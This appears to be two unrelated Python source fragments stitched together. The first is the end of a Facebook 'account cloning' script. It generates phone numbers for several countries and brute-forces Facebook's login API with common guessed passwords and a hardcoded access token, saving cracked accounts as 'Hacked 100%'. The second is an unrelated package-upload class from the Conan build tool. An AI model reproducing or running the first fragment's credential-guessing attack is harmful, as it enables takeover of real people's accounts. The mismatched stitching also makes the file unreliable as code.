'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '23': os.system('clear') print logo print '\x1b[1;93m(leave the first tree digits and the last seven digits of any phone number in this country.Write the remaining digits here.50,55,58,54,56' try: c = raw_input('\x1b[1;94m choose code : ') k = '+971' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '24': os.system('clear') print logo print '\x1b[1;93m(leave the first three digits and the last seven digits of any phone number in this country.Write the remaining digits here.50,51,52,53,54,55,56,57,58,' try: c = raw_input('\x1b[1;94m choose code : ') k = '+966' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '25': os.system('clear') print logo print '\x1b[1;93m(leave the first three digits and the last seven digits of any phone number in this country.Write the remaining digits here. 52,55' try: c = raw_input('\x1b[1;94m choose code : ') k = '+972' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '26': os.system('clear') print logo print '\x1b[1;93m(leave the first two digits and the last seven digits of any phone number in this country.Write the remaining digits here.990,915,901,933,938,902' try: c = raw_input('\x1b[1;94m choose code : ') k = '+98' idlist = '.txt' for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '[!] File Not Found' raw_input('\n[ Back ]') blackmafiax() elif lovehackerx == '0': login() else: print '[!] Fill in correctly' action() xxx = str(len(id)) jalan('\x1b[1;94m[+] Total Numbers: ' + xxx) time.sleep(0.05) jalan( ' \x1b[1;95m[\xf0\x9f\x92\xa5]Plz Wait Cloned Accounts Will Appear Here' ) time.sleep(0.05) jalan('\x1b[1;91m[!] To Stop Process Press CTRL Then Press z') time.sleep(0.05) print 44 * '-' def main(arg): user = arg try: os.mkdir('save') except OSError: pass try: pass1 = user data = br.open( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' + k + c + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm' ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92m{Hacked 100%} ' + k + c + user + ' \xe3\x80\x8b ' + pass1 + '\n' + '\n' okb = open('save/successfull.txt', 'a') okb.write(k + c + user + '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass1 + '\n') okb.close() oks.append(c + user + pass1) elif 'www.facebook.com' in q['error_msg']: print '\x1b[1;96m[CP 7DAYS] ' + k + c + user + ' \xe3\x80\x8b ' + pass1 + '\n' cps = open('save/checkpoint.txt', 'a') cps.write(k + c + user + '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass1 + '\n') cps.close() cpb.append(c + user + pass1) else: pass2 = '786786' data = br.open( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' + k + c + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm' ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92m{Hacked 100%} ' + k + c + user + ' \xe3\x80\x8b ' + pass2 + '\n' + '\n' okb = open('save/successfull.txt', 'a') okb.write(k + c + user + '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass2 + '\n') okb.close() oks.append(c + user + pass2) elif 'www.facebook.com' in q['error_msg']: print '\x1b[1;96m[CP 7DAYS] ' + k + c + user + ' \xe3\x80\x8b ' + pass2 + '\n' cps = open('save/checkpoint.txt', 'a') cps.write(k + c + user + '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass2 + '\n') cps.close() cpb.append(c + user + pass2) else: pass3 = 'Pakistan' data = br.open( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' + k + c + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm' ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92m{Hacked 100%} ' + k + c + user + ' \xe3\x80\x8b ' + pass3 + '\n' + '\n' okb = open('save/successfull.txt', 'a') okb.write(k + c + user + '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass3 + '\n') okb.close() oks.append(c + user + pass3) elif 'www.facebook.com' in q['error_msg']: print '\x1b[1;96m[CP 7DAYS] ' + k + c + user + ' \xe3\x80\x8b ' + pass3 + '\n' cps = open('save/checkpoint.txt', 'a') cps.write(k + c + user + '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass3 + '\n') cps.close() cpb.append(c + user + pass3) else: pass4 = user data = br.open( 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' + k + c + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm' ) q = json.load(data) if 'access_token' in q: print '\x1b[1;92m{Hacked 100%} ' + k + c + user + ' \xe3\x80\x8b ' + pass4 + '\n' + '\n' okb = open('save/successfull.txt', 'a') okb.write( k + c + user + '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass4 + '\n') okb.close() oks.append(c + user + pass4) elif 'www.facebook.com' in q['error_msg']: print '\x1b[1;96m[CP 7DAYS] ' + k + c + user + ' \xe3\x80\x8b ' + pass4 + '\n' cps = open('save/checkpoint.txt', 'a') cps.write( k + c + user + '-\xe2\x80\xa2\xe2\x97\x88\xe2\x80\xa2-' + pass4 + '\n') cps.close() cpb.append(c + user + pass4) except: pass p = ThreadPool(30) p.map(main, id) print 44 * '-' print '\x1b[1;91mProcess Has Been Completed ....' print '\x1b[1;93mTotal OK/CP : ' + str(len(oks)) + '/' + str(len(cpb)) print '\x1b[1;96mCP File Has Been Saved : save/checkpoint.txt' print '\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x96\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\x1b[1;92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x88\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80' raw_input('\n\x1b[1;97m[\x1b[1;97mBack\x1b[1;97m]') login()
class CmdUpload(object): """ This class is responsible for uploading packages to remotes. The flow is: - Collect all the packages to be uploaded with the UploadCollecter - Execute the upload. For every ref: - Upload the recipe of the ref: "_upload_recipe" - If not FORCE, check the date "_check_recipe_date", i.e. if there are changes, do not allow uploading if the remote date is newer than the local cache one - Retrieve the sources (exports_sources), if they are not cached, and uploading to a different remote. "complete_recipe_sources" - Gather files and create 2 .tgz (exports, exports_sources) with "_compress_recipe_files" - Decide which files have to be uploaded and deleted from the server based on the different with the remote snapshot "_recipe_files_to_upload" This can raise if upload policy is not overwrite - Execute the real transfer "remote_manager.upload_recipe()" - For every package_id of every ref: "_upload_package" - Gather files and create package.tgz. "_compress_package_files" - (Optional) Do the integrity check of the package - Decide which files to upload and delete from server: "_package_files_to_upload". Can raise if policy is NOT overwrite - Do the actual upload All the REVISIONS are local defined, not retrieved from servers This requires calling to the remote API methods: - get_recipe_sources() to get the export_sources if they are missing - get_recipe_snapshot() to do the diff and know what files to upload - get_package_snapshot() to do the diff and know what files to upload - get_recipe_manifest() to check the date and raise if policy requires - get_package_manifest() to raise if policy!=force and manifests change """ def __init__(self, cache, user_io, remote_manager, loader, hook_manager): self._cache = cache self._user_io = user_io self._output = progress_bar.ProgressOutput(self._user_io.out) self._remote_manager = remote_manager self._loader = loader self._hook_manager = hook_manager self._upload_thread_pool = None self._exceptions_list = [] def upload(self, reference_or_pattern, remotes, upload_recorder, package_id=None, all_packages=None, confirm=False, retry=None, retry_wait=None, integrity_check=False, policy=None, query=None, parallel_upload=False): t1 = time.time() collecter = _UploadCollecter(self._cache, self._user_io, self._output, self._loader) refs_by_remote = collecter.collect(package_id, reference_or_pattern, confirm, remotes, all_packages, query) if parallel_upload: self._user_io.disable_input() self._upload_thread_pool = ThreadPool( cpu_count() if parallel_upload else 1) for remote, refs in refs_by_remote.items(): self._output.info("Uploading to remote '{}':".format(remote.name)) def upload_ref(ref_conanfile_prefs): _ref, _conanfile, _prefs = ref_conanfile_prefs try: self._upload_ref(_conanfile, _ref, _prefs, retry, retry_wait, integrity_check, policy, remote, upload_recorder, remotes) except BaseException as base_exception: base_trace = traceback.format_exc() self._exceptions_list.append( (base_exception, _ref, base_trace, remote)) self._upload_thread_pool.map(upload_ref, [(ref, conanfile, prefs) for (ref, conanfile, prefs) in refs]) self._upload_thread_pool.close() self._upload_thread_pool.join() if len(self._exceptions_list) > 0: for exc, ref, trace, remote in self._exceptions_list: t = "recipe" if isinstance(ref, ConanFileReference) else "package" msg = "%s: Upload %s to '%s' failed: %s\n" % ( str(ref), t, remote.name, str(exc)) if get_env("CONAN_VERBOSE_TRACEBACK", False): msg += trace self._output.error(msg) raise ConanException("Errors uploading some packages") logger.debug("UPLOAD: Time manager upload: %f" % (time.time() - t1)) def _upload_ref(self, conanfile, ref, prefs, retry, retry_wait, integrity_check, policy, recipe_remote, upload_recorder, remotes): """ Uploads the recipes and binaries identified by ref """ assert (ref.revision is not None), "Cannot upload a recipe without RREV" conanfile_path = self._cache.package_layout(ref).conanfile() # FIXME: I think it makes no sense to specify a remote to "pre_upload" # FIXME: because the recipe can have one and the package a different one self._hook_manager.execute("pre_upload", conanfile_path=conanfile_path, reference=ref, remote=recipe_remote) msg = "\rUploading %s to remote '%s'" % (str(ref), recipe_remote.name) self._output.info(left_justify_message(msg)) self._upload_recipe(ref, conanfile, retry, retry_wait, policy, recipe_remote, remotes) upload_recorder.add_recipe(ref, recipe_remote.name, recipe_remote.url) # Now the binaries if prefs: total = len(prefs) p_remote = recipe_remote def upload_package_index(index_pref): index, pref = index_pref try: up_msg = "\rUploading package %d/%d: %s to '%s'" % ( index + 1, total, str(pref.id), p_remote.name) self._output.info(left_justify_message(up_msg)) self._upload_package(pref, retry, retry_wait, integrity_check, policy, p_remote) upload_recorder.add_package(pref, p_remote.name, p_remote.url) except BaseException as pkg_exc: trace = traceback.format_exc() return pkg_exc, pref, trace, p_remote def upload_package_callback(ret): package_exceptions = [r for r in ret if r is not None] self._exceptions_list.extend(package_exceptions) if not package_exceptions: # FIXME: I think it makes no sense to specify a remote to "post_upload" # FIXME: because the recipe can have one and the package a different one self._hook_manager.execute("post_upload", conanfile_path=conanfile_path, reference=ref, remote=recipe_remote) # This doesn't wait for the packages to end, so the function returns # and the "pool entry" for the recipe is released self._upload_thread_pool.map_async( upload_package_index, [(index, pref) for index, pref in enumerate(prefs)], callback=upload_package_callback) else: # FIXME: I think it makes no sense to specify a remote to "post_upload" # FIXME: because the recipe can have one and the package a different one self._hook_manager.execute("post_upload", conanfile_path=conanfile_path, reference=ref, remote=recipe_remote) def _upload_recipe(self, ref, conanfile, retry, retry_wait, policy, remote, remotes): current_remote_name = self._cache.package_layout( ref).load_metadata().recipe.remote if remote.name != current_remote_name: complete_recipe_sources(self._remote_manager, self._cache, conanfile, ref, remotes) conanfile_path = self._cache.package_layout(ref).conanfile() self._hook_manager.execute("pre_upload_recipe", conanfile_path=conanfile_path, reference=ref, remote=remote) t1 = time.time() cache_files = self._compress_recipe_files(ref) with self._cache.package_layout(ref).update_metadata() as metadata: metadata.recipe.checksums = calc_files_checksum(cache_files) local_manifest = FileTreeManifest.loads( load(cache_files["conanmanifest.txt"])) remote_manifest = None if policy != UPLOAD_POLICY_FORCE: # Check SCM data for auto fields if hasattr(conanfile, "scm") and (conanfile.scm.get("url") == "auto" or conanfile.scm.get("revision") == "auto" or conanfile.scm.get("type") is None or conanfile.scm.get("url") is None or conanfile.scm.get("revision") is None): raise ConanException( "The recipe contains invalid data in the 'scm' attribute" " (some 'auto' values or missing fields 'type', 'url' or" " 'revision'). Use '--force' to ignore this error or export" " again the recipe ('conan export' or 'conan create') to" " fix these issues.") remote_manifest = self._check_recipe_date(ref, remote, local_manifest) if policy == UPLOAD_POLICY_SKIP: return ref files_to_upload, deleted = self._recipe_files_to_upload( ref, policy, cache_files, remote, remote_manifest, local_manifest) if files_to_upload or deleted: self._remote_manager.upload_recipe(ref, files_to_upload, deleted, remote, retry, retry_wait) self._upload_recipe_end_msg(ref, remote) else: self._output.info("Recipe is up to date, upload skipped") duration = time.time() - t1 log_recipe_upload(ref, duration, cache_files, remote.name) self._hook_manager.execute("post_upload_recipe", conanfile_path=conanfile_path, reference=ref, remote=remote) # The recipe wasn't in the registry or it has changed the revision field only if not current_remote_name: with self._cache.package_layout(ref).update_metadata() as metadata: metadata.recipe.remote = remote.name return ref def _upload_package(self, pref, retry=None, retry_wait=None, integrity_check=False, policy=None, p_remote=None): assert (pref.revision is not None), "Cannot upload a package without PREV" assert (pref.ref.revision is not None), "Cannot upload a package without RREV" pkg_layout = self._cache.package_layout(pref.ref) conanfile_path = pkg_layout.conanfile() self._hook_manager.execute("pre_upload_package", conanfile_path=conanfile_path, reference=pref.ref, package_id=pref.id, remote=p_remote) t1 = time.time() the_files = self._compress_package_files(pkg_layout, pref, integrity_check) if policy == UPLOAD_POLICY_SKIP: return None files_to_upload, deleted = self._package_files_to_upload( pref, policy, the_files, p_remote) if files_to_upload or deleted: self._remote_manager.upload_package(pref, files_to_upload, deleted, p_remote, retry, retry_wait) logger.debug("UPLOAD: Time upload package: %f" % (time.time() - t1)) else: self._output.info("Package is up to date, upload skipped") duration = time.time() - t1 log_package_upload(pref, duration, the_files, p_remote) self._hook_manager.execute("post_upload_package", conanfile_path=conanfile_path, reference=pref.ref, package_id=pref.id, remote=p_remote) logger.debug("UPLOAD: Time uploader upload_package: %f" % (time.time() - t1)) # Update the package metadata checksums = calc_files_checksum(the_files) with pkg_layout.update_metadata() as metadata: cur_package_remote = metadata.packages[pref.id].remote if not cur_package_remote: metadata.packages[pref.id].remote = p_remote.name metadata.packages[pref.id].checksums = checksums return pref def _compress_recipe_files(self, ref): export_folder = self._cache.package_layout(ref).export() for f in (EXPORT_TGZ_NAME, EXPORT_SOURCES_TGZ_NAME): tgz_path = os.path.join(export_folder, f) if is_dirty(tgz_path): self._output.warn("%s: Removing %s, marked as dirty" % (str(ref), f)) os.remove(tgz_path) clean_dirty(tgz_path) files, symlinks = gather_files(export_folder) if CONANFILE not in files or CONAN_MANIFEST not in files: raise ConanException("Cannot upload corrupted recipe '%s'" % str(ref)) export_src_folder = self._cache.package_layout(ref).export_sources() src_files, src_symlinks = gather_files(export_src_folder) the_files = _compress_recipe_files(files, symlinks, src_files, src_symlinks, export_folder, self._output) return the_files def _compress_package_files(self, layout, pref, integrity_check): t1 = time.time() # existing package, will use short paths if defined package_folder = self._cache.package_layout( pref.ref, short_paths=None).package(pref) if layout.package_is_dirty(pref): raise ConanException("Package %s is corrupted, aborting upload.\n" "Remove it with 'conan remove %s -p=%s'" % (pref, pref.ref, pref.id)) tgz_path = os.path.join(package_folder, PACKAGE_TGZ_NAME) if is_dirty(tgz_path): self._output.warn("%s: Removing %s, marked as dirty" % (str(pref), PACKAGE_TGZ_NAME)) os.remove(tgz_path) clean_dirty(tgz_path) # Get all the files in that directory files, symlinks = gather_files(package_folder) if CONANINFO not in files or CONAN_MANIFEST not in files: logger.error("Missing info or manifest in uploading files: %s" % (str(files))) raise ConanException("Cannot upload corrupted package '%s'" % str(pref)) logger.debug("UPLOAD: Time remote_manager build_files_set : %f" % (time.time() - t1)) if integrity_check: self._package_integrity_check(pref, files, package_folder) logger.debug( "UPLOAD: Time remote_manager check package integrity : %f" % (time.time() - t1)) the_files = _compress_package_files(files, symlinks, package_folder, self._output) return the_files def _recipe_files_to_upload(self, ref, policy, files, remote, remote_manifest, local_manifest): self._remote_manager.check_credentials(remote) remote_snapshot = self._remote_manager.get_recipe_snapshot(ref, remote) if not remote_snapshot: return files, set() deleted = set(remote_snapshot).difference(files) if policy != UPLOAD_POLICY_FORCE: if remote_manifest is None: # This is the weird scenario, we have a snapshot but don't have a manifest. # Can be due to concurrency issues, so we can try retrieve it now try: remote_manifest, _ = self._remote_manager.get_recipe_manifest( ref, remote) except NotFoundException: # This is weird, the manifest still not there, better upload everything self._output.warn( "The remote recipe doesn't have the 'conanmanifest.txt' " "file and will be uploaded: '{}'".format(ref)) return files, deleted if remote_manifest == local_manifest: return None, None if policy in (UPLOAD_POLICY_NO_OVERWRITE, UPLOAD_POLICY_NO_OVERWRITE_RECIPE): raise ConanException( "Local recipe is different from the remote recipe. " "Forbidden overwrite.") return files, deleted def _package_files_to_upload(self, pref, policy, the_files, remote): self._remote_manager.check_credentials(remote) remote_snapshot = self._remote_manager.get_package_snapshot( pref, remote) if remote_snapshot and policy != UPLOAD_POLICY_FORCE: if not is_package_snapshot_complete(remote_snapshot): return the_files, set() remote_manifest, _ = self._remote_manager.get_package_manifest( pref, remote) local_manifest = FileTreeManifest.loads( load(the_files["conanmanifest.txt"])) if remote_manifest == local_manifest: return None, None if policy == UPLOAD_POLICY_NO_OVERWRITE: raise ConanException( "Local package is different from the remote package. Forbidden" " overwrite.") deleted = set(remote_snapshot).difference(the_files) return the_files, deleted def _upload_recipe_end_msg(self, ref, remote): msg = "\rUploaded conan recipe '%s' to '%s'" % (str(ref), remote.name) url = remote.url.replace("https://api.bintray.com/conan", "https://bintray.com") msg += ": %s" % url self._output.info(left_justify_message(msg)) def _package_integrity_check(self, pref, files, package_folder): # If package has been modified remove tgz to regenerate it self._output.rewrite_line("Checking package integrity...") # short_paths = None is enough if there exist short_paths layout = self._cache.package_layout(pref.ref, short_paths=None) read_manifest, expected_manifest = layout.package_manifests(pref) if read_manifest != expected_manifest: self._output.writeln("") diff = read_manifest.difference(expected_manifest) for fname, (h1, h2) in diff.items(): self._output.warn( "Mismatched checksum '%s' (manifest: %s, file: %s)" % (fname, h1, h2)) if PACKAGE_TGZ_NAME in files: tgz_path = os.path.join(package_folder, PACKAGE_TGZ_NAME) try: os.unlink(tgz_path) except OSError: pass error_msg = os.linesep.join( "Mismatched checksum '%s' (manifest: %s, file: %s)" % (fname, h1, h2) for fname, (h1, h2) in diff.items()) logger.error("Manifests doesn't match!\n%s" % error_msg) raise ConanException("Cannot upload corrupted package '%s'" % str(pref)) else: self._output.rewrite_line("Package integrity OK!") self._output.writeln("") def _check_recipe_date(self, ref, remote, local_manifest): try: remote_recipe_manifest, ref = self._remote_manager.get_recipe_manifest( ref, remote) except NotFoundException: return # First time uploading this package if (remote_recipe_manifest != local_manifest and remote_recipe_manifest.time > local_manifest.time): self._print_manifest_information(remote_recipe_manifest, local_manifest, ref, remote) raise ConanException( "Remote recipe is newer than local recipe: " "\n Remote date: %s\n Local date: %s" % (remote_recipe_manifest.time, local_manifest.time)) return remote_recipe_manifest def _print_manifest_information(self, remote_recipe_manifest, local_manifest, ref, remote): try: self._output.info("\n%s" % ("-" * 40)) self._output.info("Remote manifest:") self._output.info(remote_recipe_manifest) self._output.info("Local manifest:") self._output.info(local_manifest) difference = remote_recipe_manifest.difference(local_manifest) if "conanfile.py" in difference: contents = load(self._cache.package_layout(ref).conanfile()) endlines = "\\r\\n" if "\r\n" in contents else "\\n" self._output.info("Local 'conanfile.py' using '%s' line-ends" % endlines) remote_contents = self._remote_manager.get_recipe_path( ref, path="conanfile.py", remote=remote) endlines = "\\r\\n" if "\r\n" in remote_contents else "\\n" self._output.info( "Remote 'conanfile.py' using '%s' line-ends" % endlines) self._output.info("\n%s" % ("-" * 40)) except Exception as e: self._output.info("Error printing information about the diff: %s" % str(e))
